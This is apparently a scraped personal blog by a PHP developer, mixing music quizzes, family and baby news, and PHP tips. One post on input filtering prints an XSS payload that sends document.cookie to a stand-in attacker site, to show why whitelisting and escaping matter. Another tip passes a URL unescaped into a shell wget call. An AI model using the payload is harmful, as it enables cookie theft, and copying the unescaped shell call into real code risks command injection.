Tomorrow Belongs to Nobody (Carcass)

10) WHAT DO YOU THINK OF YOUR BEST FRIEND?
Land of the Miracle (Edguy)

11) WHAT DO YOU THINK OF THE PERSON YOU LIKE?
The Star-Spangled Banner (Iced Earth)

12) WHAT IS YOUR LIFE STORY?
The Pilgrim (Iron Maiden)

13) WHAT DO YOU WANT TO BE WHEN YOU GROW UP?
Into Battle (Ensiferum)

14) WHAT DO YOU THINK WHEN YOU SEE THE PERSON YOU LIKE?
Annihilation of a Hammerfest (Amon Amarth)

15) WHAT DO YOUR PARENTS THINK OF YOU?
Clouds (Enslaved)

16) WHAT WILL YOU DANCE TO AT YOUR WEDDING?
Under the Ice (Blind Guardian)

17) WHAT WILL THEY PLAY AT YOUR FUNERAL?
At The Left Hand Ov God (Behemoth)

18) WHAT IS YOUR HOBBY/INTEREST?
Psychotic Precision (Cannibal Corpse)

19) WHAT IS YOUR BIGGEST SECRET?
Under The Northern Star (Amon Amarth)

20) WHAT DO YOU THINK OF YOUR FRIENDS?
Soul Burn (Meshuggah)

Type ONLY one word answers.

It’s harder than you think!! Here is what you are supposed to do…and please don’t spoil the fun…copy and paste into your own note, type in your answers and tag people.

Where is your cell phone?
Desk

Your hair?
Brown

Your father?
Awesome

Your favorite thing?
Hannah

Your dream last night?
Forgotten

Your favorite drink?
Mead

Your dream/goal?
BABIES

The room you are in?
Office

Your fear?
Death

Where do you want to be in 6 years?
Stable

Muffins?
Chocolate

One of your wish list items?
Certification

Where you grew up?
Fareham

The last thing you did?
PHP

What are you wearing?
Clothes

Your TV?
On

Your pets?
Dead

Your computer?
Huge

Your life?
Shiny

Your mood?
Hungry

Missing someone?
Yes

Your car?
Outside

Favorite store?
Amazon

Your summer?
Child

Your favorite color?
Red

When is the last time you laughed?
Today

Last time you cried?
Dunno

Three people who email me?
Sii, Chris, Jon

Three of my favorite foods?
Pesto, Bacon, Pork

Three places I would rather be right now?
Home, Bed, France

Three people I think will respond?
Dunno, Dunno, Dunno

Well that really wasn’t that hard…

$result = preg_match('/([a-z])\1{3,}/', $value);

That works!

I think it’s rather fetching personally… Hannah disagrees, but I don’t see her with a fancy customised Twitter page…

The current names are confusing and obscures the intention of HTTP; More descriptive names would have been $_QUERY instead of $_GET and $_FORM instead of $_POST

What’s he’s saying in a nutshell that if you send an HTTP POST request, such as:

POST /submit.php?param=HelloWorld HTTP/1.1
Host: asgrim.com
Content-Length: 29

name=James&url=www.asgrim.com

Then $_POST["name"] is “James”, $_POST["url"] is “www.asgrim.com”, but despite the form being submitted as POST, $_GET["param"] is HelloWorld. Technically, yes – he’s right. Logically, because name and url are part of the form data, the variables should be called $_FORM["name"], $_FORM["url"] and $_QUERY["param"].

He also makes the point that it might not be that big a disruption to change, sporting the introduction of superglobals instead of $_GET and $_POST as a replacement for register_globals as an example.

However, as one commenter, Rory, points out:

I can see what you’re getting at with $_QUERY and $_FORM but if you define your form as <form method="get"> your form data will be in $_QUERY not $_FORM which is possibly just as confusing for those who don’t understand the difference. I suspect the method attribute on forms is where $_GET and $_POST came from.

And my opinion? Well I can see what Troels is saying, and it’s a good valid point… I might have a little bit of cainophobia, but I’m happy with the way things are, and I’ll use Rory’s argument to back me up.

Probably because you always lose… “sorry, you’ve been declined…”

Unfortunately that means we can’t get the new shiny laptop we wanted…

Still, I made it to Netbasic this morning, and so did most of the office aside from Chris (stranded by trains – why have they not invented self-heating train lines that defrost??), and Sii (who lives on a hill which I expect is pretty frozen…).

Woot for snow!

We’ve had a really nice weekend; Friday evening was spent at Casson’s Restaurant in Tangmere near Chichester, and Saturday night was a yummy dinner with Tom & Sophia. Between Hannah and me, we managed to cook a pesto salmon en croûte and a very messy but sweet strawberry cheesecake; both courtesy of Jamie Oliver’s Ministry of Food book, which I highly recommend to anyone wanting to begin cooking. I warn you, the recipes do have slightly more expensive ingredients, but it’s well worth the extra pennies!

So here’s to the final 8 weeks!

Filtering input is important, and it is recommended to do this using a “white list” approach – i.e. you specify a valid choice of values for a particular field – if it does not match then discard it. Consider this:

// Example 1
$value = $_GET["colour"];
echo "Your favourite colour is {$value}";

This first example shows lack of filtering. Potentially, as the study guide shows, the colour could be overridden and set to be:

<script>
document.location = 'http://myhackingsite.com/getcookies.php?cookies=' + document.cookie;
</script>

This small piece of Javascript would then pick up people’s cookies. Lets look at the second example…

// Example 2
$value = "white";
$valid_colours = array("red","green","blue");
if(in_array($_GET["colour"], $valid_colours))
{
  $value = $_GET["colour"];
}
echo "Your favourite colour is {$value}";

This piece of code is much safer (although not totally secure…). $value has been initialised. Although I ensure register_globals = Off where possible, there may be some hosts that have register_globals On. The “colour” $_GET value is checked against a white list, and if it does not match, it is not assigned. If $value is not initialised and register_globals was On, then someone could pass a query such as:

http://mywebsite.com/example.php?colour=notacolour&value=%3Cscript%3Edocument.

location+%3D+%27http%3A%2F%2Fmyhackingsite.com%2Fgetcookies.php%3Fcookies%3D%27+%2B+document.cookie%3B%3C%2Fscript%3E

What would happen is that the “colour” argument would not match the white list, but value would be initialised with the above piece of cookie-collecting Javascript. An even safer version of this code is with escaped output:

// Example 3
$value = "white";
$valid_colours = array("red","green","blue");
if(in_array($_GET["colour"], $valid_colours))
{
  $value = $_GET["colour"];
}
$value = htmlentities($value);
echo "Your favourite colour is {$value}";

Even with register_globals On and $value uninitialised, the end user will just see the Javascript directly, rather than the browser parsing it.

Don’t forget, output isn’t limited to just outputting to the browser through echo or print – you need to think about storing data, such as in MySQL databases or in files. Thankfully, PHP provides database-specific escaping functions, such as mysql_real_escape_string.

There’s much more to this than just what I’ve explained, and the study guide goes into a bit more depth. I recommend you pick up a copy and read it, even if you’re not studying for a Zend certification.

Instead of Google’s angle of just taking pictures of everything, Microsoft are going down the less intrusive route of just making 3D models of all the buildings. When I last saw this last, it was much less impressive, but looking at it today, you could almost say it’s better than Google. Although having said that, Google Earth has this same 3D view, but in a standalone app.

My opinion though, is that they both have their merits – Google Street View is pretty cool, and so is this 3D view… I suppose it depends what you want it for.

Regardless, with competition from these, and probably other mapping software, combined with online shopping, online chat, video gaming, home offices and a whole host of other software, it’s looking more and more likeley that I’ll never have to get off my bum ever again.

Today was the last straw really and I got fed up of it. All I wanted was a plugin that allowed me to put a form on my contact page, and that was that. Instead, I got that, plus it seemed every time I logged into my admin UI, I needed to upgrade it.

I don’t mind the odd upgrade, but cforms II just got annoying. When I upgraded to Wordpress 2.7, it because much easier to upgrade it, so I carried on. But now, due to some quarrel which frankly I don’t care about, there is a permanent message saying that you have to update manually – which I just can’t be bothered with really. So cforms II has lost out, and I’m now using a new plugin which I hope will need upgrading less frequently and generally be less bulky… Contact Form 7.

Thankfully, it turns out that this isn’t the case. It was a simple case of running:

easy_install http://trac-hacks.org/svn/xmlrpcplugin/trunk/

Then restarting apache:

/etc/init.d/apache2 restart

Now go into your Trac admin page, and enable XMLRPCSystem, XMLRPCWeb and all plug-ins with “.ticket” in the module name.

Now in Mylyn when adding your Task repository, specify the XML-RPC (rev 1950) access type along with the rest of your settings, and it’s as easy peasy as that.

There – I told you I’d blog something soon!

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• Amelie, my newborn niece is doing great (born 23rd December 2008!)
• Christmas was fantastic, we had a mountain of presents both at Hannah’s mums and at my sister’s, including a one-of-500 pressing of Primordial – Dark Romanticism on picture vinyl, Fallout 3 (at last!), COD5, a high-definition video camcorder and several other awesome presents.
• We spent £500 on kitting out the nursery – it’s looking awesome, and the last piece is the wardrobe, arriving tomorrow.
• I made my first Jamie Oliver recipe yesterday, a Chicken and Leek stroganoff – very yummy
• I made my first home-made loaf of bread yesterday, and it beats shop-bought bread hands down. So easy as well!
• I went to our “local” pub, the Parson’s Collar on 28th with the Frosthold guys, not bad. Very drunk.
• We played Munchkin Quest for the first time on the 29th. Very cool!
• Frosthold played a cracking gig at the Wedgewood Rooms on the 30th, as well as releasing our new CD, called When Brothers Fought In Arms… see the Frosthold website for details on how to buy a copy!
• I made a new Frosthold website incorporating the new artwork, and also in OO PHP5 instead of the old top-down PHP4 the original one was written for.
• We had a 4D scan of the baby yesterday. We determined it is 99% a girl, but she was so curled up with her hands and legs over her head that we couldn’t get a good 4D image – we rebooked for next week!

If I went into much more detail I’d make an enormous blog post, so I’ll leave it at that, but I promise I’ll start blogging more!

Anyway, I digress a little, but my overall point is that we should be pushing for web-orientated services over desktop apps. I mean the first two points in their comparison are real bonuses for regular web apps really. “Applications can be easily discovered, explored, and used.” and “No application installation is necessary.” The plus for the desktop of the former part is “Installed applications have more persistence, power, and functionality.”… well that’s true to a certain extent, but persistence exists in web apps already – in the form of logins, which can be things like Windows Live Passports, Google Accounts, or truly (going) global logins such as OpenID.

Both browsers and Adobe AIR apps are cross-platform, Javascript and Flash are already in both, and there’s few other real advantages… the advantage of hosting a website is that when you update it, the changes are immediately available, rather than clients having to update.

I see it as a step backwards really – there’s been a huge push for using everything on the web recently, and having Adobe AIR apps are just like having new desktop applications. Where’s the advantage of that? You just have to install and update yet more software. I’ve got enough bloody software to keep updated as it is! Not only that, it’s just no good for those of us on the move, always using different workstations, maybe at work, at home and your laptop, and your T-Mobile G1 with Android… Personally I’d prefer a tool I can use on all of those that I don’t have to download. Something like Google Calendar that I can access everywhere to manage my life schedule, and something like Google Docs so that if I’m somewhere and I need to look at the list of Christmas presents I’ve purchased for Hannah, then I can load it straight up.

I think I’ve made my point, but in a really long round-about sort of way. Although I sound like I’m shutting Adobe AIR right out, I’m not actually, I just don’t see the point. It’s just another cool idea, but I don’t really see a future for it, ya see?

Hannah has this to look forward to in just a few months time…

Personally, I can’t wait!

The rather annoying thing is that it will be quite useful to get baby furniture, so despite being a big blue blob on Southampton’s horizon, it will actually be useful…

And in other news, I’m definately turning into a father… I have a Mothercare Mothercard now.

This is proof there are far too many iPhone Users.

This is what I got, and technically it’s not for me, it’s for the baby, but it’s an awesome little baby-gro.

It really hits home that in a little over 3 months, I’m gonna be a daddy.. and I just don’t feel prepared yet… but then I’m not sure what I have to do to feel prepared either.

Maybe kitting out the nursery and getting more baby things in the house will help a bit, so we’ll just have to wait for Christmas to see what Santa brings us this year.

Warning: simplexml_load_file() [function.simplexml-load-file]: URL file-access is disabled in the server configuration in /url/to/file.php on line 62

It’s a pain for writing cool API clients that add cool functionality into your website, like using the Last.fm API, Amazon Associates Web Services, or the YouTube API, because they all use XML based services that you have to retrieve.

The simplest way is to use file_get_contents($url);, but that doesn’t work if allow_url_fopen = Off.

The next simplest way is to use libcurl, which although is very useful, has given me a lot of grief throughout my programming life, so is sort of my arch nemesis. I tried it on 1and1 trying to access AAWS, but it didn’t work anyway.

The last solution is my hacky little method to draw wget results into the script. This method is probably the slowest as we’re calling an external binary on a shared web server, but it works.

$url = "http://api.somesite.com/rest/xml?query=string&goes=here";
$user_agent = "My Awesome API Client v1.0";
ob_start();
passthru("wget -U '{$user_agent}' -q -O - '{$url}'");
$response = ob_get_contents();
ob_end_clean();
$xml_document = simplexml_load_string($response);

Admittedly, this wasn’t the first snow of the year, because that was back in April, an that was much heavier.

Anyway, we went into work this morning only to find that I was being sent home due to the deadly Manflu virus that I caught – probably from my little nephew Finley!

So today, I’m working at home, and I’m having a little rest for lunch, whilst constantly increasing the thermostat temperature so it doesn’t get too cold. It’s back to the office tomorrow as I’ve been invited to a mysterious meeting in which I have to tell someone how to make a tracker… that could be interesting…

Basically, it’s a hammock for babies, and we decided to get one (with the help of Mum & Dad of course!) for our little one-on-the-way.

Despite the instructions being written in badly translated Chinese or Japanese or something, we managed to put it together alright. Just gotta tighten a bolt on top, and it’s done.

In fact, in 4 days, the baby becomes what doctors call “viable” meaning that if for some unexpected reason, she gives birth really early, then the baby is likely to survive.

Still, that’s a worst case scenario, and of course we hope everything goes to plan and as “normal” so to speak.

I’ve gone and done the same thing tonight, except I got a self-hosted OpenID. It really was quite simple, and there’s a few choices already for setting up your own self-hosted OpenID. My choice was phpMyID, which was incredibly simple to set up.

The number of sites using OpenID to logon is slowly increasing, and I’m on top of it already, woop!

This year we’ve got the fortune of my parents being in the country, so we’ll be having two Yuletides this year, woot! All the more drink!

In fact, in the office, I’m the only one who actually bothered doing anything remotely Christmassy, having put up some black tinsel (or “tack” as Hannah calls it) around my monitors.

Ah well, at least I made an effort! Even though I’ll be spending most of Christmas day waiting for and then playing Fallout 3… and drinking…

Indeed, next year, everything will be different as we’ll have a little 9-month-old child crawling (or maybe walking!) around. I can’t wait to be honest!